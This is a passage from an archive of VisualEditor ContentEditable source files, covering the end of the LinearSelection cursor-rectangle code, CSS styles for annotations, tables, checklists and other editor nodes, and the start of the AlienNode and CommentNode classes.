 * locate the selection focus position.
 *
 * @private
 * @param {Range} range Range to get client rect for
 * @return {Object|null} ClientRect-like object
 */
ve.ce.LinearSelection.prototype.getNodeClientRectFromRange = function ( range ) {
	var containerNode = range.endContainer,
		offset = range.endOffset;

	var node;
	var fixHeight;
	if ( containerNode.nodeType === Node.TEXT_NODE && ( offset === 0 || offset === containerNode.length ) ) {
		node = offset ? containerNode.previousSibling : containerNode.nextSibling;
	} else if ( containerNode.nodeType === Node.ELEMENT_NODE ) {
		node = offset === containerNode.childNodes.length ? containerNode.lastChild : containerNode.childNodes[ offset ];
		// Nail heights are 0, so use the annotation's height
		if ( node && node.nodeType === Node.ELEMENT_NODE && node.classList.contains( 've-ce-nail' ) ) {
			var annotationNode = offset ? node.previousSibling : node.nextSibling;
			// Sometimes annotationNode isn't an HTMLElement (T261992). Not sure
			// when this happens, but we will still return a sensible rectangle
			// without fixHeight isn't set.
			if ( annotationNode instanceof HTMLElement ) {
				fixHeight = annotationNode.offsetHeight;
			}
		}
	} else {
		node = containerNode;
	}

	while ( node && node.nodeType !== Node.ELEMENT_NODE ) {
		node = node.parentNode;
	}

	if ( !node ) {
		return null;
	}

	// When possible, pretend the cursor is the left/right border of the node
	// (depending on directionality) as a fallback.

	// We would use getBoundingClientRect(), but in iOS7 that's relative to the
	// document rather than to the viewport
	var rect = node.getClientRects()[ 0 ];
	if ( !rect ) {
		// FF can return null when focusNode is invisible
		return null;
	}

	var side = $( node ).css( 'direction' ) === 'rtl' ? 'right' : 'left';
	var adjacentNode = range.endContainer.childNodes[ range.endOffset ];
	var x;
	if ( range.collapsed && adjacentNode && adjacentNode.classList && adjacentNode.classList.contains( 've-ce-unicorn' ) ) {
		// We're next to a unicorn; use its left/right position
		var unicornRect = adjacentNode.getClientRects()[ 0 ];
		if ( !unicornRect ) {
			return null;
		}
		x = unicornRect[ side ];
	} else {
		x = rect[ side ];
	}

	if ( fixHeight ) {
		// Use a pre-computed height from above, maintaining the vertical center
		var middle = ( rect.top + rect.bottom ) / 2;
		return {
			top: middle - ( fixHeight / 2 ),
			bottom: middle + ( fixHeight / 2 ),
			left: x,
			right: x,
			width: 0,
			height: fixHeight
		};
	} else {
		return {
			top: rect.top,
			bottom: rect.bottom,
			left: x,
			right: x,
			width: 0,
			height: rect.height
		};
	}
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.getSelectionFocusRect = function () {
	return !this.isNativeCursor() ?
		// Don't collapse selection for focus rect if we are on a focusable node.
		this.getSelectionBoundingRect() :
		ve.ce.LinearSelection.super.prototype.getSelectionFocusRect.call( this );
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.isFocusedNode = function () {
	return !!this.focusedNode;
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.isNativeCursor = function () {
	return !this.focusedNode;
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.getDirectionality = function ( doc ) {
	if ( !this.directionality ) {
		this.directionality = doc.getDirectionalityFromRange( this.getModel().getRange() );
	}
	return this.directionality;
};

/* Registration */

ve.ce.selectionFactory.register( ve.ce.LinearSelection );
ce/styles/annotations/ve.ce.CommentAnnotation.css000066600000000667151334753760016214 0ustar00/*!
 * VisualEditor ContentEditable CommentAnnotation styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-commentAnnotation {
	box-shadow: 0 0 0 1px rgba( 255, 221, 102, 0.5 ); /* #fd6 */
	border-radius: 2px;
	padding: 2px;
	margin: -2px;
	background: rgba( 255, 221, 102, 0.5 );
}

.ve-ce-commentAnnotation.ve-ce-annotation-active {
	box-shadow: 0 0 0 1px #fd6;
	background: #fd6;
}
ce/styles/annotations/ve.ce.LanguageAnnotation.css000066600000000366151334753760016331 0ustar00/*!
 * VisualEditor ContentEditable LanguageAnnotation styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-languageAnnotation {
	border-bottom: 1px dashed #ccc;
	background-color: #ebf3f5;
}
ce/styles/annotations/ve.ce.LinkAnnotation.css000066600000001503151334753760015475 0ustar00/*!
 * VisualEditor ContentEditable LanguageAnnotation styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-linkAnnotation.ve-ce-annotation-active {
	box-shadow: 0 0 0 1px #c6e0ff;
	border-radius: 2px;
	padding: 2px;
	margin: -2px;
	background-color: #e6f1ff;
}

.ve-init-mobileTarget .ve-ce-surface:not( .ve-ce-surface-deactivated ) .ve-ce-linkAnnotation.ve-ce-annotation-active {
	box-shadow: 0 0 0 1px #36c;
	background-color: transparent;
}

.ve-ce-nail:not( .ve-ce-nail-debug ) {
	/*
	 * Give nail some width to trick layout engine into creating a cursor
	 * position after it even at the end of a paragraph (T274068)
	 */
	width: 0.1px;
	height: 0;
}

.ve-ce-nail-debug {
	vertical-align: middle;
}

.ve-init-target-ctrl-meta-down .ve-ce-linkAnnotation {
	cursor: pointer;
}
ce/styles/nodes/ve.ce.TableNode.css000066600000003377151334753760013170 0ustar00/*!
 * VisualEditor ContentEditable TableNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-tableNode {
	border-spacing: 0;
	border-collapse: collapse;
	cursor: default;
}

.ve-ce-tableCaptionNode {
	cursor: text;
}

.ve-ce-tableNode-active .ve-ce-tableCaptionNode,
.ve-ce-tableCaptionNode.ve-ce-activeNode-active {
	border: 1px dotted #c8ccd1;
	border-bottom: 0;
	margin-top: -1px;
}

.ve-ce-tableNodeOverlay {
	position: absolute;
	pointer-events: none;
}

.ve-ce-tableNodeOverlay .ve-ui-tableLineContext {
	pointer-events: auto;
}

.ve-ce-tableNodeOverlay-selection-box {
	position: absolute;
	background: rgba( 109, 169, 247, 0.3 ); /* #6da9f7 */
	box-sizing: border-box;
	opacity: 0.6;
}

.ve-ce-tableNodeOverlay-deactivated .ve-ce-tableNodeOverlay-selection-box {
	background: rgba( 0, 0, 0, 0.3 );
	opacity: 0.3;
}

.ve-ce-tableNodeOverlay-selection-box-notEditable {
	background-image: repeating-linear-gradient( -45deg, transparent 0, transparent 5px, #95d14f 5px, #95d14f 10px );
}

.ve-ce-tableNodeOverlay-selection-box-anchor {
	position: absolute;
	border: solid 1px #6da9f7;
	box-sizing: border-box;
}

.ve-ce-tableNodeOverlay-deactivated .ve-ce-tableNodeOverlay-selection-box-anchor {
	border: solid 1px rgba( 0, 0, 0, 0.3 );
}

.ve-ce-tableNodeOverlay-editing .ve-ce-tableNodeOverlay-selection-box {
	background: transparent;
}

.ve-ce-tableNode-missingCell {
	border: 0 !important; /* stylelint-disable-line declaration-no-important */
	padding: 0 !important; /* stylelint-disable-line declaration-no-important */
}

.ve-ce-tableNode-missingCell > .oo-ui-buttonWidget > .oo-ui-buttonElement-button {
	/* Remove minimal dimensions, as they are larger than empty table cells */
	padding-top: 0;
	padding-left: 0;
}
ce/styles/nodes/ve.ce.CheckListNode.css000066600000004245151334753760014005 0ustar00/*!
 * VisualEditor ContentEditable CommentNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* Increase specificity for MW */
ul.ve-ce-checkListNode {
	padding: 0;
}

.ve-ce-checkListItemNode {
	list-style: none;
	position: relative;
}

.ve-ce-checkListItemNode::before {
	cursor: pointer;
	content: '';
	position: absolute;
	width: 1.5em;
	height: 1.5em;
	background: url( ../../../ui/styles/images/unchecked.svg ) center center no-repeat;
	/* TODO: Fix paths in standalone builds */
	background-image: url( data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDE2IDE2IiBpZD0ic3ZnOCI+CiAgICA8cmVjdCB5PSIuNSIgeD0iLjUiIGhlaWdodD0iMTUiIHdpZHRoPSIxNSIgaWQ9InJlY3Q4MjEiIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlOiMwMDA7c3Ryb2tlLXdpZHRoOjE7Ii8+Cjwvc3ZnPgo= );
}

/* Flip based on content language, not interface */
/* This could be done with margin-block-start but it isn't supported in IE/Edge */

/* @noflip */
.ve-ce-documentNode[ dir='ltr' ] ul.ve-ce-checkListNode {
	margin-left: 2em;
}

/* @noflip */
.ve-ce-documentNode[ dir='rtl' ] ul.ve-ce-checkListNode {
	margin-right: 2em;
}

/* @noflip */
.ve-ce-documentNode[ dir='ltr' ] .ve-ce-checkListItemNode::before {
	left: -2em;
}

/* @noflip */
.ve-ce-documentNode[ dir='rtl' ] .ve-ce-checkListItemNode::before {
	right: -2em;
}

.ve-ce-checkListItemNode-checked::before {
	background-image: url( ../../../ui/styles/images/checked.svg );
	/* TODO: Fix paths in standalone builds */
	/* stylelint-disable-next-line declaration-block-no-duplicate-properties */
	background-image: url( data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDE2IDE2IiBpZD0ic3ZnOCI+CiAgICA8cmVjdCB5PSIuNSIgeD0iLjUiIGhlaWdodD0iMTUiIHdpZHRoPSIxNSIgaWQ9InJlY3Q4MjEiIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlOiMwMDA7c3Ryb2tlLXdpZHRoOjE7Ii8+CiAgICA8cGF0aCBkPSJNMy45IDcuNzhsMyAzIDYtNiIgc3R5bGU9InN0cm9rZTojMDAwO3N0cm9rZS13aWR0aDoyO3N0cm9rZS1saW5lY2FwOmJ1dHQ7c3Ryb2tlLWxpbmVqb2luOm1pdGVyO2ZpbGw6bm9uZTsiLz4KPC9zdmc+Cg== );
}

.ve-ce-checkListItemNode-checked {
	text-decoration: line-through;
	color: #666;
}
ce/styles/nodes/ve.ce.AlienNode.css000066600000001732151334753760013162 0ustar00/*!
 * VisualEditor ContentEditable AlienNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-alienNode-highlights .ve-ce-focusableNode-highlight {
	background-color: #95d14f;
	background-image: repeating-linear-gradient( -45deg, #fff 0, #fff 5px, #95d14f 5px, #95d14f 10px );
	background-size: 14px 14px;
	/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
	cursor: not-allowed;
}

.ve-ce-surface-highlights-focused .ve-ce-alienNode-highlights .ve-ce-focusableNode-highlight {
	background-image: repeating-linear-gradient( -45deg, #6da9f7 0, #6da9f7 5px, #95d14f 5px, #95d14f 10px );
}

.ve-ce-surface-highlights-focused .ve-ce-alienNode-highlights.ve-ce-focusableNode-highlights-deactivated .ve-ce-focusableNode-highlight {
	background-image: repeating-linear-gradient( -45deg, #000 0, #000 5px, #666 5px, #666 10px );
}

.ve-ce-surface-highlights-blurred .ve-ce-alienNode-highlights {
	opacity: 0.5;
}
ce/styles/nodes/ve.ce.ContentBranchNode.css000066600000001502151334753760014655 0ustar00/*!
 * VisualEditor ContentEditable ContentBranchNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/*
 * So that we don't need to use &nbsp; when rendering text with multiple consecutive spaces, and
 * that the browser doesn't insert &nbsp; when typing regular spaces, and that we can let the user
 * input actual non-breaking spaces in the text without having to guess if they're really needed.
 */
.ve-ce-contentBranchNode {
	white-space: pre-wrap;
}

/* Hack for empty headings and paragraphs; can't use min-height because of IE */

.ve-ce-contentBranchNode:empty::before {
	content: url( data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 );
}

/*
 * Undo this hack on focusable nodes
 */
.ve-ce-focusableNode:not( pre ) {
	white-space: normal;
}
ce/styles/nodes/ve.ce.RootNode.css000066600000001553151334753760013056 0ustar00/*!
 * VisualEditor ContentEditable attached root node styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-attachedRootNode {
	cursor: text;
	/* Prevent excess scrolling when surface padding is added */
	box-sizing: border-box;
}

/* Hide the caret (text cursor) when read-only */
.ve-ce-surface-readOnly .ve-ce-attachedRootNode {
	caret-color: transparent;
}

/*
 * Don't bother with -moz-selection becase Firefox 24 only
 * supports overriding text selection colour, not images
 * (i.e. any focusable nodes)
 */
.ve-ce-attachedRootNode::selection,
.ve-ce-attachedRootNode *::selection {
	background: rgba( 109, 169, 247, 0.5 ); /* #6da9f7 */
}

/*
 * Reset styles applied to ce=true by Chrome (T207426)
 */
.ve-ce-attachedRootNode [ contentEditable='false' ] {
	overflow-wrap: initial;
	-webkit-line-break: initial;
}
ce/styles/nodes/ve.ce.ActiveNode.css000066600000000751151334753760013345 0ustar00/*!
 * VisualEditor ContentEditable SectionNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-focusableNode .ve-ce-activeNode {
	cursor: text;
}

.ve-ce-focusableNode .ve-ce-activeNode,
.ve-ce-focusableNode .ve-ce-activeNode * {
	/* T174774: We're using the vendor prefixed form of `text` here since it
	   has the semantics that it won't be overridden by ancestors having the
	   value `all` */
	-moz-user-select: -moz-text;
}
ce/styles/nodes/ve.ce.BranchNode.css000066600000005643151334753760013334 0ustar00/*!
 * VisualEditor ContentEditable BranchNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* Prevent focus outline on editable sections */
.ve-ce-branchNode:focus {
	outline: 0;
}

.ve-ce-branchNode-blockSlug {
	opacity: 0;
	cursor: pointer;
	transition: opacity 200ms ease-out;
	/* Create a block formatting context to avoid overlapping floated elements (T211844) */
	overflow: hidden;
}

/* Don't draw selection highlight inside block slug after selecting across it */
.ve-ce-branchNode-blockSlug .oo-ui-labelElement-label::selection {
	background: transparent;
}

/* Must be in a separate block, because otherwise entire rule is ignored
 * by browsers that don't know ::-moz-selection */
/* stylelint-disable-next-line selector-no-vendor-prefix */
.ve-ce-branchNode-blockSlug .oo-ui-labelElement-label::-moz-selection {
	background: transparent;
}

.ve-ce-branchNode-blockSlug,
.ve-ce-branchNode-newSlug {
	margin: -0.3em 0 -0.1em 0;
	outline: 1px dashed #c8ccd1;
	/* rgba( #f1f7fb, 0.75 ) */
	background-color: rgba( 241, 247, 251, 0.75 );
}

.ve-ce-surface-readOnly .ve-ce-branchNode-blockSlug,
.ve-ce-surface-dragging .ve-ce-branchNode-blockSlug {
	visibility: hidden;
}

.ve-ce-branchNode-blockSlug:hover,
.ve-ce-branchNode-blockSlug.ve-ce-branchNode-blockSlug-focused {
	opacity: 1;
}

.ve-ce-branchNode-newSlug-open {
	margin: 1em 0;
	background-color: transparent;
	outline-color: transparent;
	outline-offset: 1em;
	transition: all 400ms ease-out;
}

.ve-ce-branchNode-blockSlug > .oo-ui-buttonWidget {
	opacity: 0.5;
	display: block;
}

.ve-ce-branchNode-blockSlug > .oo-ui-buttonElement-frameless.oo-ui-iconElement:first-child {
	/* We add a border, so cancel weird margin adjustment meant for frameless buttons */
	margin-left: 0;
}

.ve-ce-branchNode-blockSlug > .oo-ui-buttonWidget > .oo-ui-buttonElement-button {
	display: block;
}

.ve-ce-surface-dragging .ve-ce-branchNode-blockSlug > .oo-ui-buttonElement > .oo-ui-buttonElement-button {
	/* -moz-user-select:none is applied in OOUI, but cases FF to create multi-range selections (T214976) */
	-moz-user-select: text;
}

.ve-ce-chimera {
	width: 0;
	height: 0;
}

.ve-ce-chimera-webkit {
	/* Cursor positioning tweak */
	/*
	 * Leaving width at 0 causes a small horizontal wobble, but using a
	 * non-zero value can cause it to be visible on high-DPI devices (T218331)
	 */
	height: 1em;
}

.ve-ce-chimera-gecko {
	/* Force height in empty branch */
	border: 1px solid transparent;
	/* Avoid interaction with absolutely positioned overlays like CodeMirror (T198278) */
	margin-right: -2px;
}

.ve-ce-chimera-debug {
	vertical-align: middle;
	width: auto;
	height: auto;
}

.ve-ce-unicorn:not( .ve-ce-unicorn-debug ) {
	width: 0;
	height: 0;
}

/* Pre-formatted node styling */

pre.ve-ce-branchNode {
	/* Support: Chrome, Safari */
	/* Prevent silly wrapping on Safari and Chrome (https://bugs.webkit.org/show_bug.cgi?id=35935) */
	word-wrap: normal;
}
ce/styles/nodes/ve.ce.FocusableNode.css000066600000004217151334753760014036 0ustar00/*!
 * VisualEditor ContentEditable FocusableNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-focusableNode {
	cursor: default;
}

/* We previously applied -moz-user-select: none to all descendants of focuasbleNode
   to prevent them from ever taking a cursor (T70537) but that causes FF to create
   multi-range selections (T214976) which is worse */

.ve-ce-focusableNode-highlight {
	background: #6da9f7;
	box-shadow: inset 0 0 0 1px #4c76ac;
	position: absolute;
	/* Clip extra span added for selectability */
	overflow: hidden;
}

.ve-ce-focusableNode-highlight-error {
	background: #d33;
}

.ve-ce-focusableNode-highlight-selectable {
	position: absolute;
	top: -1000px;
}

.ve-ce-focusableNode-invisible {
	/* Ensure these are always visible, overriding things like "nomobile" in MediaWiki (T332626) */
	/* stylelint-disable-next-line declaration-no-important */
	display: inline-block !important;
	vertical-align: middle;
	/* Negative margins ensure button height doesn't exceed line height */
	margin: -0.7em 0 -0.6em 0;
	width: auto;
}

.ve-ce-focusableNode-invisibleIcon {
	opacity: 0.5;
}

.ve-ce-focusableNode-invisibleIcon > .oo-ui-buttonElement-button {
	/* Button can sometimes be exposed (T198912), but it shouldn't interact like one */
	cursor: default;
}

.ve-ce-focusableNode-invisibleIcon.oo-ui-labelElement {
	width: auto;
}

.ve-ce-focusableNode-invisibleIcon.oo-ui-labelElement .oo-ui-labelElement-label {
	max-width: 15em;
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
	display: inline-block;
}

/* Requires high specificity to override OOUI */
.ve-ce-focusableNode-invisibleIcon.oo-ui-iconElement.oo-ui-buttonElement-frameless.oo-ui-iconElement:first-child {
	margin-left: 0;
}

/* Highlights group opacity */

.ve-ce-surface-highlights-focused .ve-ce-focusableNode-highlights {
	opacity: 0.5;
}

.ve-ce-surface-highlights-blurred .ve-ce-focusableNode-highlights {
	opacity: 0.15;
}

.ve-ce-surface-highlights-focused .ve-ce-focusableNode-highlights-deactivated {
	opacity: 0.15;
}

.ve-ce-focusableNode-highlights-deactivated .ve-ce-focusableNode-highlight {
	background: #000;
}
ce/styles/nodes/ve.ce.ResizableNode.css000066600000003602151334753760014050 0ustar00/*!
 * VisualEditor ContentEditable ResizableNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-resizableNode-handles {
	position: absolute;
	box-sizing: border-box;
}

.ve-ce-resizableNode-handles-resizing {
	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.2 );
	background: rgba( 0, 0, 0, 0.1 );
}

.ve-ce-resizableNode-handles div {
	position: absolute;
	width: 11px;
	height: 11px;
	background-repeat: no-repeat;
}

.ve-ce-resizableNode-nwHandle {
	cursor: nw-resize;
	left: -6px;
	top: -6px;
}

.ve-ce-resizableNode-neHandle {
	cursor: ne-resize;
	right: -6px;
	top: -6px;
}

.ve-ce-resizableNode-swHandle {
	cursor: sw-resize;
	bottom: -6px;
	left: -6px;
}

.ve-ce-resizableNode-seHandle {
	cursor: se-resize;
	bottom: -6px;
	right: -6px;
}

.ve-ce-resizableNode-nwHandle,
.ve-ce-resizableNode-seHandle {
	/* @embed */
	background-image: url( ../../../ui/styles/images/resize-nw-se.svg );
}

.ve-ce-resizableNode-neHandle,
.ve-ce-resizableNode-swHandle {
	/* @embed */
	background-image: url( ../../../ui/styles/images/resize-ne-sw.svg );
}

.ve-ce-resizableNode-hide-nw .ve-ce-resizableNode-nwHandle,
.ve-ce-resizableNode-hide-ne .ve-ce-resizableNode-neHandle,
.ve-ce-resizableNode-hide-sw .ve-ce-resizableNode-swHandle,
.ve-ce-resizableNode-hide-se .ve-ce-resizableNode-seHandle {
	display: none;
}

.ve-ce-resizableNode-sizeLabel {
	position: absolute;
	text-align: center;
	opacity: 0;
	transition: opacity 200ms;
}

.ve-ce-resizableNode-sizeLabel-resizing {
	opacity: 1;
}

.ve-ce-resizableNode-sizeText {
	padding: 0.25em 0.5em;
	border: 1px solid #c8ccd1;
	background-color: #fff;
	border-radius: 2px;
	white-space: nowrap;
}

.ve-ce-resizableNode-sizeText span:not( :first-child ) {
	margin-left: 0.4em;
	padding-left: 0.4em;
	border-left: 1px solid #c8ccd1;
}

.ve-ce-resizableNode-sizeText-warning {
	background-color: #ecc;
	border-color: #caa;
}
ce/styles/nodes/ve.ce.ParagraphNode.css000066600000002346151334753760014041 0ustar00/*!
 * VisualEditor ContentEditable ParagraphNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* Remove margin around wrapper paragraphs generated by our CE code,
   to keep the rendering consistent with the view mode where these wrappers are missing */
.ve-ce-paragraphNode.ve-ce-generated-wrapper {
	margin-left: 0;
	margin-right: 0;
}

/* Maintain separation between wrapper paragraphs and start/end of document */

/* stylelint-disable no-descending-specificity */
/*
   Keep top margin when:
     - [child of attachedRoot OR child of placeholder] AND first child in the doc
   this means we clear the top margin when
     - [NOT child of attachedRoot AND NOT child of placeholder] OR NOT first child in the doc
*/
:not( .ve-ce-attachedRootNode ):not( .ve-ui-surface-placeholder ) > .ve-ce-paragraphNode.ve-ce-generated-wrapper,
.ve-ce-paragraphNode.ve-ce-generated-wrapper:not( :first-child ) {
	margin-top: 0;
}

/* Same for bottom margin */
:not( .ve-ce-attachedRootNode ):not( .ve-ui-surface-placeholder ) > .ve-ce-paragraphNode.ve-ce-generated-wrapper,
.ve-ce-paragraphNode.ve-ce-generated-wrapper:not( :last-child ) {
	margin-bottom: 0;
}
/* stylelint-enable no-descending-specificity */
ce/styles/nodes/ve.ce.HorizontalRuleNode.css000066600000000447151334753760015115 0ustar00/*!
 * VisualEditor ContentEditable HorizontalRuleNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-horizontalRuleNode {
	/* Prevent margin collapse of child <hr> so the node has a reasonable height to click on */
	overflow: auto;
}
ce/styles/nodes/ve.ce.CommentNode.css000066600000000630151334753760013530 0ustar00/*!
 * VisualEditor ContentEditable CommentNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-commentNode > .ve-ce-focusableNode-invisibleIcon.oo-ui-iconElement .oo-ui-labelElement-label {
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
	font-size: 0.8125em;
}
ce/styles/nodes/ve.ce.TableCellNode.css000066600000001326151334753760013760 0ustar00/*!
 * VisualEditor ContentEditable TableCellNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-tableCellableNode {
	border: 1px dotted #c8ccd1;
	padding: 0.25em 0.5em;
	min-width: 1em;
}

/* Use child selectors to avoid making nested tables look active */
.ve-ce-tableNode-active > * > tr > .ve-ce-tableCellableNode {
	border-style: solid;
}

.ve-ce-tableCellNode-editing {
	cursor: text;
}

.ve-ce-tableCellNode a {
	pointer-events: none;
}

.ve-ce-tableCellNode-editing a {
	pointer-events: auto;
}

.ve-ce-tableCellNode > .ve-ce-branchNode-blockSlug {
	visibility: hidden;
}

.ve-ce-tableCellNode-editing > .ve-ce-branchNode-blockSlug {
	visibility: visible;
}
ce/styles/nodes/ve.ce.SectionNode.css000066600000000714151334753760013535 0ustar00/*!
 * VisualEditor ContentEditable SectionNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* Prevent margin collapse across sections */
.ve-ce-sectionNode::before,
.ve-ce-sectionNode::after {
	content: '\00a0';
	display: block;
	overflow: hidden;
	height: 0;
}

.ve-ce-sectionNode {
	opacity: 1;
	transition: opacity 250ms ease;
}

.ve-ce-sectionNode:not( .ve-ce-activeNode-active ) {
	opacity: 0.5;
}
ce/styles/nodes/ve.ce.GeneratedContentNode.css000066600000000327151334753760015362 0ustar00/*!
 * VisualEditor ContentEditable GeneratedContentNode styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-generatedContentNode-generating {
	opacity: 0.5;
}
ce/styles/ve.ce.Surface.css000066600000005466151334753760011614 0ustar00/*!
 * VisualEditor ContentEditable Surface styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-surface {
	/* Create a new stacking context for elements inside the surface */
	position: relative;
	z-index: 0;
	/*
	Remember, don't set font-size here.
	Should be inherited from the VE target container.
	*/
}

.ve-ce-surface-selections {
	position: absolute;
	pointer-events: none;
	/* @noflip */
	left: 0;
	top: 0;
}

.ve-ce-surface-selection > div {
	position: absolute;
}

.ve-ce-surface-selections .ve-ce-surface-selection > .ve-ce-surface-selection-label {
	position: absolute;
	font-size: 0.8em;
	font-weight: bold;
	color: #fff;
	text-shadow: 0 0 1px #000;
	padding: 0.2em;
	margin-top: -1.4em;
	height: 1em;
	line-height: 1;
	white-space: nowrap;
	max-width: 10em;
	overflow: hidden;
	text-overflow: ellipsis;
}

/* Review mode */

.ve-ce-surface-reviewMode {
	pointer-events: none;
}

.ve-ce-surface-reviewMode-highlightNodes .ve-ce-attachedRootNode > :not( .ve-ce-surface-reviewMode-highlightNode ) {
	opacity: 0.5;
}

/* Deactivated selections */

.ve-ce-surface-selections-deactivated {
	opacity: 0.5;
}

.ve-ce-surface-selections-deactivated-showAsDeactivated {
	opacity: 0.15;
}

.ve-ce-surface-selections-deactivated .ve-ce-surface-selection > div {
	background: #6da9f7;
	/* Increase vertical height to look more like a system selection */
	margin-top: -0.15em;
	padding: 0.15em 0;
}

.ve-ce-surface-selections-deactivated-showAsDeactivated .ve-ce-surface-selection > div {
	background: #000;
}

.ve-ce-surface-selections-deactivated-collapsed {
	opacity: 1;
	/* Color is matched to font in ve.ce.Surface.js */
}

.ve-ce-surface-dropMarker {
	height: 1px;
	background: #72777d;
	pointer-events: none;
	position: absolute;
}

.ve-ce-surface-selections-otherUserSelection {
	opacity: 0.5;
}

.ve-ce-surface-selections-otherUserCursor .ve-ce-surface-selection > div:not( .ve-ce-surface-selection-label ) {
	width: 2px !important; /* stylelint-disable-line declaration-no-important */
}

.ve-ce-surface-selections-otherUserSelection-inactive {
	opacity: 0.25;
}

.ve-ce-surface-selections-otherUserCursor-inactive {
	opacity: 0.5;
}

.ve-ce-surface-paused {
	opacity: 0.5;
}

.ve-ce-surface-paste {
	position: fixed;
	/* FIXME T126024: Stop the viewport scrolling when the paste target is typed into */
	top: 3em;
	left: 0;
	/* Try to avoid wrapping by not setting a width because of https://code.google.com/p/chromium/issues/detail?id=318925 */
	height: 1px;
	opacity: 0;
	overflow: hidden;
}

.ve-ce-surface-paste * {
	height: 1px !important; /* stylelint-disable-line declaration-no-important */
}

.ve-ce-cursorHolder {
	position: absolute;
	width: 0;
	height: 0;
}

.ve-ce-cursorHolder-img {
	width: 0;
	height: 0;
}

.ve-ce-cursorHolder-debug {
	width: 2px;
	height: 1em;
	border: 1px solid #d33;
}
ce/styles/ve.ce.css000066600000000375151334753760010217 0ustar00/*!
 * VisualEditor ContentEditable general styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ce-bidi-isolate {
	unicode-bidi: isolate;
	unicode-bidi: -moz-isolate;
	unicode-bidi: -webkit-isolate;
}
ce/nodes/ve.ce.AlienNode.js000066600000002253151334753760011462 0ustar00/*!
 * VisualEditor ContentEditable AlienNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable alien node.
 *
 * @class
 * @abstract
 * @extends ve.ce.LeafNode
 * @mixins ve.ce.FocusableNode
 *
 * @constructor
 * @param {ve.dm.AlienNode} model
 * @param {Object} [config]
 */
ve.ce.AlienNode = function VeCeAlienNode() {
	// Parent constructor
	ve.ce.AlienNode.super.apply( this, arguments );

	// DOM changes
	this.$element = $( ve.copyDomElements( this.model.getOriginalDomElements( this.model.getDocument().getStore() ), document ) );

	// Mixin constructors
	ve.ce.FocusableNode.call( this, this.$element, {
		classes: [ 've-ce-alienNode-highlights' ]
	} );

	// Re-initialize after $element changes
	this.initialize();
};

/* Inheritance */

OO.inheritClass( ve.ce.AlienNode, ve.ce.LeafNode );

OO.mixinClass( ve.ce.AlienNode, ve.ce.FocusableNode );

/* Static Properties */

ve.ce.AlienNode.static.name = 'alien';

ve.ce.AlienNode.static.iconWhenInvisible = 'puzzle';

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.AlienNode.static.getDescription = function () {
	return ve.msg( 'visualeditor-aliennode-tooltip' );
};
ce/nodes/ve.ce.CommentNode.js000066600000003454151334753760012040 0ustar00/*!
 * VisualEditor ContentEditable CommentNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable comment node.
 *
 * @class
 * @extends ve.ce.LeafNode
 * @mixins ve.ce.FocusableNode
 *
 * @constructor
 * @param {ve.dm.CommentNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.CommentNode = function VeCeCommentNode( model, config ) {
	// Parent constructor
	ve.ce.CommentNode.super.call( this, model, config );

	// Mixin constructors
	ve.ce.FocusableNode.call( this, this.$element, config );

	// Events
	this.model.connect( this, { attributeChange: 'onAttributeChange' } );

	// DOM changes
